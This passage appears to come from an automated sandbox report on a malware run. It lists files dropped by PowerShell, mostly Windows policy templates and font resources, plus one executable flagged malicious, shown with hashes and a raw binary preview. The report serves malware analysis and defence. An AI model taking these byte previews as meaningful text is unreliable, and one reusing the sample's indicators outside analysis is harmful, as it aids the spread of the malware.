Entropy (8bit):	7.5602452903969155
Encrypted:	false
SSDEEP:	12288:aRm3cZtn3690KKtdKVdMaId0h5GHhw9d0G636VYVtYZx2Dcn6XWqhl2N1rWNjoZ1:tsJZtM2dLhWd7Zxtn6XTl2N5BZmuQKj
MD5:	219D473C5D7482AD147FAD61CD2299EB
SHA1:	3E7BEAC607C0C9F44A679C3B9B8A3A5E1A6D7C99
SHA-256:	BB1837E799B37CAD1E7BCC0F5E5882CAA9022FA7F5F08A710FE93CC569326945
SHA-512:	7A34E9C029687FF99F0ECC913FAF30ADF9F0406EFC495C7E4FA3DFB6636B5436F92FE4B7B1F9D9771A5AC2B46F65A6245280D4CF1FE30FFF31BAB29491859555
Malicious:	false
Preview:	i&..j&..j&..j&..k&...&..>&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..OgY..g].OzD..Tf..@}.=Og..Qz.9Rh...D..SU..In..Kz.9Rh..Sy.j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..)I@..R`..Os./^..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..)IJ..G}.#Hz..Hj.j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..Oq@..o[.6k`..Iz..R'./rU..Gd..I{.j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..j&....'.D.9.X...j&..j&..j&..j&..j&..j&..j&..j&..j&..j&..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cixuakoa.wbw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cl50js5j.zkh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3m2a0t0.aj5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfckaj0l.kfr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	405504
Entropy (8bit):	6.665896827650533
Encrypted:	false
SSDEEP:	6144:kKfVIRGhXun/DffLdNlhCU69JYMZ7aN2gmYvEdL1xl6hCq5WlBD/dmULA7JGHI:kxGhXunrfh8AAs/sdLX3+WlBIUU7Yo
MD5:	A182C27B5FD115D395E945EE3A1182BD
SHA1:	219C8442789F2EDFD3E45298E0ADC8727C430113
SHA-256:	991BB228C6D5A367A47BE5F168AD470B394D87A81D754155EF3A4FE731381AD0
SHA-512:	5CD1A439C6D1BF35FAB38A59602950F62984834F9C123C86341DBD8BDE4FFAC2E58A0D4D9C986B87701068D987C6EA4D4B863218287EF847D93BCF5A291922F6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: ofsetvideofre.click.ps1, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...&..Q..........................................@.......................................@.................................q...x...............................hA...................................................................................text...a........................... ..`.rdata...(.......*..................@..@.data...t.... ...V..................@....reloc..hA.......B...^..............@..Bdxwq.........`......................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\file\Resource\ActiveXInstallService.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (313), with CRLF line terminators
Category:	dropped
Size (bytes):	4717
Entropy (8bit):	4.7505963350576845
Encrypted:	false
SSDEEP:	96:QeD/mDkoovKnKBz5it9VGwgUW1gTwhf3yephP+87+Aam+cL+OC:vY/gg/bgF7hfzvW8qAaNc6OC
MD5:	8DA98067914A630ADF461C878CCC961E
SHA1:	39DD48A85A30B5531D5F8F1F7FD23BAB6E53A27A
SHA-256:	DA28B81AD52F6E929EBEDEBA0FACB765037031061EC7CB53E08DF2031CBAE4C3
SHA-512:	2C2C81CB5B08E13A52368E49FCE9EF13A3C6457405156B841DE5BC01C7F15FF34641CCBA0F456A71D4154021054FEB1DFD902BB14C36C9B1151B505FCD9883B6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="AxInstSv" namespace="Microsoft.Policies.ActiveXInstallService" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AxInstSv" displayName="$(string.AxInstSv)">.. <parentCategory ref="windows:WindowsComponents" /> .. </category>..</categories>.. <policies>.. <policy name="ApprovedActiveXInstallSites" class="Machine" displayName="$(string.ApprovedActiveXInstallSites)" explainText="$(string.ApprovedActiveXInstallSites_explain)" presentation="$(presentation.ApprovedActiveXInstallSites)" key="SOFTWARE\Pol

C:\Users\user\AppData\Local\Temp\file\Resource\AddRemovePrograms.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	5.172227238600436
Encrypted:	false
SSDEEP:	96:QeD/mDWaovKnKN57h45FZwLd1yvK8Nvv8uvU8jvh8dv/82vQ8kX+wv0T8pvr8YHZ:vYbOUOLdYKWvDUkhS/PQXn0TMrVPyxa7
MD5:	93FE765FEA18D3369319B1E2C2198ACA
SHA1:	EF8CA652896162E79D634919CDED635374B68377
SHA-256:	61583DFD5E07FB3ECEB722ABC37A285BA18188E7F5577DE41AB75E45906BBEAA
SHA-512:	D7DAFC4D8A9C90125B3DEC111CA0A5CC85DD16BE368093642A0BE8BAB2A99589832A1FD6CC1636C7089A9204D81E8E39F1E6BEE59C537971C25C89C92DE1440F
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="addremoveprograms" namespace="Microsoft.Policies.AddRemovePrograms" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Arp" displayName="$(string.Arp)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. </categories>.. <policies>.. <policy name="DefaultCategory" class="User" displayName="$(string.DefaultCategory)" explainText="$(string.DefaultCategory_Help)" presentation="$(presentation.DefaultCategory)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall">.. <paren

C:\Users\user\AppData\Local\Temp\file\Resource\AppCompat.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (306), with CRLF line terminators
Category:	dropped
Size (bytes):	5203
Entropy (8bit):	5.1614513543538125
Encrypted:	false
SSDEEP:	96:QeD/mDBgovKnK55Vr/edS/aN/AN9/DNo/yq/Xdf/Xda/bda/N:vYKcLhY2idxYEN
MD5:	9F090D18F3BDB120480CC63F1BC5E5FD
SHA1:	66AFE722858D0C91B1D0D45844FCE80DB3A120E2
SHA-256:	3377EAAE4A6F7CD036D70C5F3358870F29AC536C06A4FD784D10E1840201B1DB
SHA-512:	F02C94CCCE3C60CF48E6063C9186EB8DE26D25E2338071FF5881A9C8A5478276859C3585F00DCB07106044CA5D63DD130CFAC9C09C0FA6D2F3F4303712F93F26
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="appcompat" namespace="Microsoft.Policies.ApplicationCompatibility" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AppCompat" displayName="$(string.AppCompat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AppCompatPrevent16BitMach" class="Machine" displayName="$(string.AppCompatPrevent16BitMach)" explainText="$(string.AppCompat_Prevent16BitMach_Help)" key="Software\Policies\Microsoft\Windows\AppCompat" valueName="VDMDisallowed">

C:\Users\user\AppData\Local\Temp\file\Resource\AppXRuntime.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (397), with CRLF line terminators
Category:	dropped
Size (bytes):	3390
Entropy (8bit):	5.117713196882447
Encrypted:	false
SSDEEP:	96:jvmDHFovKnKJ5bu3cdpa3WdfnZsaMd9RbGwhxC:jYli1A20mCFLC
MD5:	88D794EA092EF395433CFA321D06E5E4
SHA1:	F1F7C7DFBD04AC5A92CBDE88BD4F087781D63C40
SHA-256:	5AFC969E4212A6511F307385C99B8868E8C873183DC271BBB95BA571B24EB53E
SHA-512:	EBB770102B8202DE4BB7319CBC2CDA860E4DE5D1E95F0FBEF4D4890AA2B22CD48CF73909D028A37B507926B4FAD573716FBA16E50B8F9ECA8D5FEAB00AC17CCA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="appxruntime" namespace="Microsoft.Policies.AppxRuntime" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AppXRuntime" displayName="$(string.AppxRuntime)" explainText="$(string.AppxRuntime_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AppxRuntimeBlockFileElevation" class="Both" displayName="$(string.AppxRuntimeBlockFileElevation)" explainText="$(string.AppxRuntimeBlockFileElevationExplanation)" key="Software\Micr

C:\Users\user\AppData\Local\Temp\file\Resource\AppxPackageManager.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2463
Entropy (8bit):	5.111463339682583
Encrypted:	false
SSDEEP:	48:30A08gmD5fBofHKnKtCQ5FwnFfGdMVgman83fGdCajnifGq:kvmD55ovKnK15qn4ddn5ddn7q
MD5:	8F6EACF6BA3557C023B7EF52CF374796
SHA1:	4D4F7A83C972A8D25AC1A5B4C5BF16452737C76C
SHA-256:	A57C185E3692BD976618A9C3D225B61F352931C61EBB4CEDEB1931FA4826DDD6
SHA-512:	63DF24870F5E65F9A262111ACA537DCAC00C7CD8CB18275A1BE23670174428D80657075A2DAB436D1EF0B7568A746CBEE36EE181A7F11862DE3CCD12A4FC6610
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="appx" namespace="Microsoft.Policies.Appx" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AppxDeployment" displayName="$(string.AppxDeployment)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AppxDeploymentAllowAllTrustedApps" class="Machine" displayName="$(string.AppxDeploymentAllowAllTrustedApps)" explainText="$(string.AppxDeploymentAllowAllTrustedAppsExplanation)" key="Software\Policies\Microsoft\Windows\Appx" va

C:\Users\user\AppData\Local\Temp\file\Resource\AttachmentManager.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5965
Entropy (8bit):	5.090560813091328
Encrypted:	false
SSDEEP:	96:QeD/mDZK0ovKnKJrb5PwWA+P3WvwGFi1PdWhlhQWAsPOWA7dPlwwxbe1Pw5IFtX9:vYZJMfpYmPGsddWhlh4MiZBxbedw5IFX
MD5:	A7F3BB7ECBCBAEBA34AE99A473FC78D4
SHA1:	35519185FD4A538D8CA1B9CEB46CDDA78F6F1CD4
SHA-256:	5ECA8151E2EBC1C5C3BEEEC2B6D79D16F54EB543FBA45ED6E8CC6A7D3D5632A8
SHA-512:	9F8833D9E10013B8D092E999A3C0F4CAA7BFBAC6A725EC85E5BB4AD3AB99A6CCA1A99899521603B0B9F0912E0FF0E2264F29898044C2D366282568D9FC148E36
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="attachmentmanager" namespace="Microsoft.Policies.AttachmentManager" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AM_AM" displayName="$(string.AM_AM)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AM_CallIOfficeAntiVirus" class="User" displayName="$(string.AM_CallIOfficeAntiVirus)" explainText="$(string.AM_ExplainCallIOfficeAntiVirus)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" valueName="ScanWithAntiV

C:\Users\user\AppData\Local\Temp\file\Resource\AuditSettings.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (302), with CRLF line terminators
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	5.147670961257302
Encrypted:	false
SSDEEP:	24:2d1Dwjo8gWt4+3FpKtX6fF0s6fE3+dK9lKz5OpKjcpMn+6xDV1NmWtSXcA+2hJJo:c1Dw08gmDpfFofHKnK125Sn+6xDhhsXM
MD5:	9A36A7410B4EF98B36DA553E050B9788
SHA1:	4BA6E5225A7C5DAF30F4947B9288B708E8E557E8
SHA-256:	EBAC316580540B7EE8E399F890470527E456F2C6A103FCC899F4B2442D8E69F7
SHA-512:	7CD81F2BEDDE51BCA3A1F5A0889870BE71EF521E5C331F1C8BA4CE97BF604ADFFF6CAFA0FE707ED55DF62BC340C45BAA189E3D07F20A466EE7254F3C6ABE6B74
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="auditing" namespace="Microsoft.Policies.Auditing" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="auditing" displayName="$(string.AuditSettings)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="IncludeCmdLine" class="Machine" displayName="$(string.IncludeCmdLine)" explainText="$(string.IncludeCmdLine_explain)" presentation="$(presentation.IncludeCmdLine)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" valueName="ProcessCre

C:\Users\user\AppData\Local\Temp\file\Resource\AutoPlay.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3391
Entropy (8bit):	5.005511840018565
Encrypted:	false
SSDEEP:	96:QeD/mD5NovKnKL5Ijw4k12aI0dE6wHdd1ilPq:vYb6V4kW1H/0i
MD5:	99C0E5F09E95743EA9C0A3A6971F298A
SHA1:	48493137D9300B33B13F09730F9AF4908481A63C
SHA-256:	DADCF29EC6BEC77A29A5B7836228F91BD5FAEF58D54AEEF851B524593B1CD1C6
SHA-512:	8C70F299FFD211A5FD2F5BD42776864A370CDBEBA175FDC67492BB384DD481FD78475351E082F893E33B2D3764BDD31089709F48BC09242B146E926A88A2B20C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="autoplay" namespace="Microsoft.Policies.AutoPlay" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AutoPlay" displayName="$(string.AutoPlay)" explainText="$(string.AutoPlay_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="NoAutorun" class="Both" displayName="$(string.NoAutorun)" explainText="$(string.NoAutorun_Help)" presentation="$(presentation.NoAutorun)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer">..

C:\Users\user\AppData\Local\Temp\file\Resource\Biometrics.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2968
Entropy (8bit):	5.131674850415743
Encrypted:	false
SSDEEP:	48:3dDw08gmDjfzofHKnKvMQ5nvPuLdIRdGO83PClLdIRdqKI3PClMLdIRdduPCtdI5:tD/mDj7ovKnKB5vPuGde3PClGdq3PCl6
MD5:	4477D655300DCEC702C8A5306F52BBF0
SHA1:	C67A8E0D322DC3733D4973A88836462FB4A60939
SHA-256:	DB3071F9B86AE33E84FC2BAB130A139AB9E251BBFA0F25C25486F6004D23AF8E
SHA-512:	AD6D73E781BAA0CE97D91C18E650B362EBDA36B968882CAA33D562E59E635F84845BAE10AED0B4AAF72FB514E41B718FFD430675F6ECDFE29BD102A72162489D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="biometrics" namespace="Microsoft.Policies.Biometrics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="BiometricsConfiguration" displayName="$(string.BiometricsConfiguration)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Biometrics_EnableBio" class="Machine" displayName="$(string.Biometrics_EnableBio)" explainText="$(string.Biometrics_EnableBio_Help)" key="SOFTWARE\Policies\Microsoft\Biometrics" valueName="Enabled">.. <par

C:\Users\user\AppData\Local\Temp\file\Resource\Bits.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (341), with CRLF line terminators
Category:	dropped
Size (bytes):	56679
Entropy (8bit):	4.649033917052754
Encrypted:	false
SSDEEP:	384:F7MCt14fWPbkSpqAqLFo/8AkV+dkz4txZmVq3Oul3kykVodU5v+lDObcMeHOg6oM:FYCH6EEC4+SI/leoJOg4TYvSwR24M+gJ
MD5:	4139F3F98C51BCD0ED900F0FFFCD56C0
SHA1:	E468204F6838B66915E507644F6F8BF33AF4075B
SHA-256:	12EB39EB439075195C6B458CFF074D07383791610A8B4B62911944A4D3E19698
SHA-512:	153C36C6FB52F41EBE99355ED9AA78B8AFCE4CC08078E956CBD68728326021DA89B3F2B95CA8091D098B09DD6C95D8FF6B73C662ABC2B993E412C336A3003BAB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="bits" namespace="Microsoft.Policies.BITS" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.2" />.... <supportedOn>.. <definitions>.. Windows XP or Windows Server 2003, or computers with BITS 1.5 installed.-->.. <definition name="SUPPORTED_WindowsXPWindowsNETorBITS15" displayName="$(string.SUPPORTED_WindowsXPWindowsNETorBITS15)">.. <or>.. <reference ref="windows:SUPPORTED_WindowsNET_XP"/>.. <reference ref="products:BIT

C:\Users\user\AppData\Local\Temp\file\Resource\CEIPEnable.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	5.220457282528206
Encrypted:	false
SSDEEP:	48:3geDw08gmD9sfQofHKnKcQ5MkTdpwkdXGhRceudpwhzIC:QeD/mDu4ovKnKJ5bnwkdXbegwhzIC
MD5:	3360B68B429776B19A070725365D776E
SHA1:	EA13FA9CC34BC0BAB5448757CDF5A0929AA1DB68
SHA-256:	EC3A99EEDF207B7471485EB0F7583CF1FFE009D0BD3D968441F0EB8559FAEF0F
SHA-512:	B3A1DF204A4BFE544FADA708EBD1AEFE542B810AE8E2AACE3CD48A0CBBB97261BAE8CC516666CDD4AE503810F83AAFD414265C063DFC86884C7A287BD9DD354B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ceipenable" namespace="Microsoft.Policies.CustomerExperienceProgram" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WindowsCEIPCat" displayName="$(string.WindowsCEIPCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="CorporateSQM" class="Machine" displayName="$(string.CorporateSQM)" explainText="$(string.CorporateSQMExp)" presentation="$(presentation.CorporateSQM)" key="Software\Policies\Microsoft\SQMClient">.. <parentCateg

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\Identity-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	5.132524855127476
Encrypted:	false
SSDEEP:	192:QJeSrsQrsil/3gU+uSpo4cvkikNwA+KZwOyKXuU8fy:QJhrsQrsWPsu+oVkEKZnNz8fy
MD5:	40F5DC1383E3E8F870ED8F763ED51878
SHA1:	474A429DE3B9FEBA36CFA4CE4EDCD4FAE3CDDC5B
SHA-256:	AAE946BC17203B5DF12838D07AE5CAFC9E85A1D42D1B94D8475AB2D42B77A5CB
SHA-512:	69B6D3AF2CCAAE9437FE4E0206C44D29EC7A51F39334826737907E1126505071BA888F4134DE55A07CF14256B47DAF6D29CC73BAB60F3C6CD7D8BB30E24778FB
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (Identity-H)..%%Title: (Identity-H Adobe Identity 0)..%%Version: 10.001..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyright:

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\Identity-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
